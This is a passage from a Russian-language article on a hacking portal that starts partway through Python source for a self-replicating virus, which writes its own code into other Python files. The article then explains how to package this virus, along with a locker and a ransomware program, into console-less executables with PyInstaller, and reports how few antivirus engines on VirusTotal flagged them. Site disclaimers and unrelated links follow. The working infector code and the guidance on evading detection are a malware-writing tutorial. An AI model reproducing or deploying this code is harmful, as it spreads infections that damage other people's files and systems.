            # Если находим маркер начала, поднимаем флаг

            if line == begin:

                k = 1

                # Добавляем маркер в зараженный код

                virus_code += begin

            # Если мы прошли начало, но не дошли до конца, копируем строку

            elif k == 1 and line != end:

                virus_code += line

            # Если дошли до конца, добавляем финальный маркер и выходим из цикла

            elif line == end:

                virus_code += end

                break

            else:

                pass

    # Снова читаем заражаемый файл

    with open(python, «r») as file:

        # Создаем переменную для исходного кода

        original_code = «»

        # Построчно копируем заражаемый код

        for line in file:

            original_code += line

            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir

            if line == begin:

                vir = True

                break

            # Если маркера нет, опускаем флаг vir

            else:

                vir = False

    # Если флаг vir опущен, пишем в файл вирус и исходный код

    if not vir:

        with open(python, «w») as paste:

            paste.write(virus_code + «nn» + original_code)

    else:

        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

И вводим команду

PyInstaller «имя_файла.py» onefile noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Еще по теме: Взлом WiFi на Python

Как создать простого трояна на Python

Listen to this article

Чтобы открыть контент, необходимо пройти быструю регистрацию или войти в свой профиль. После этого Вы получите полный доступ ко всем материалам на портале.

Кибер-Грамотность

Спасибо что вы с нами!

ВНИМАНИЕ! Все представленные ссылки в статьях могут вести на вредоносные сайты либо содержать вирусы. Переходите по ним на свой страхъ и риск. Тот кто целенаправлено зашел на статью знает что делает. Не нажимайте на все подряд бездумно.

Некоторые статьи были переведены с английского языка с помощью системы машинного перевода и могут содержать неточности или грамматические ошибки.

ВСЯ РАЗМЕЩЕННАЯ ИНФОРМАЦИЯ НА СТРАНИЦАХ ПОРТАЛА ВЗЯТА ИЗ ОТКРЫТЫХ ИСТОЧНИКОВ

БОЛЬШАЯ ЧАСТЬ ИНФОРМАЦИИ ПРЕДОСТАВЛЯЕТСЯ АБСОЛЮТНО БЕСПЛАТНО


Если Вам понравилась статья — поделитесь с друзьями

66 просмотров

Любая информация, размещенная на сайте https://rucore.net, предназначена только для свободного изучения пользователями сайта. Наша команда прилагает все усилия для того, чтобы предоставить на этом сайте достоверную и полезную информацию, которая отвечает на вопросы пользователей сайта. Ни при каких обстоятельствах Администрация Сайта не несёт ответственности за какой-либо прямой, непрямой, особый или иной косвенный ущерб в результате использования информации на этом Сайте или на любом другом сайте, на который имеется гиперссылка с данного cайта, возникновение зависимости, снижения продуктивности, увольнения или прерывания трудовой активности, а равно отчисления из учебных учреждений, за любую упущенную выгоду, приостановку хозяйственной деятельности, потерю программ или данных в Ваших информационных системах или иным образом, возникшие в связи с доступом, использованием или невозможностью использования Сайта, Содержимого или какого-либо связанного интернет-сайта, или неработоспособностью, ошибкой, упущением, перебоем, дефектом, простоем в работе или задержкой в передаче, компьютерным вирусом или системным сбоем, даже если администрация будет явно поставлена в известность о возможности такого ущерба.

Используя данный Сайт, Вы выражаете свое согласие с «Отказом от ответственности» и установленными Правилами и принимаете всю ответственность, которая может быть на Вас возложена. А так же Вы можете ознакомиться с полной версией данного «отказа от ответственности» и нашей «политики конфиденциальности» по следующей ссылке.

Цель данного раздела сайта

Основной задачей закрытого раздела сайта, является сбор (парсинг) и сохраниение в базе данных наиболее интересных и качественных материалов из разнообразных источников. Более подробней можно ознакомиться по ссылке.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Понравилась статья? Поделить с друзьями:
  • Как написать врачу что не приду на прием
  • Как написать врачу смс
  • Как написать врассыпную правильно
  • Как написать вправду правильно
  • Как написать впр на пятерку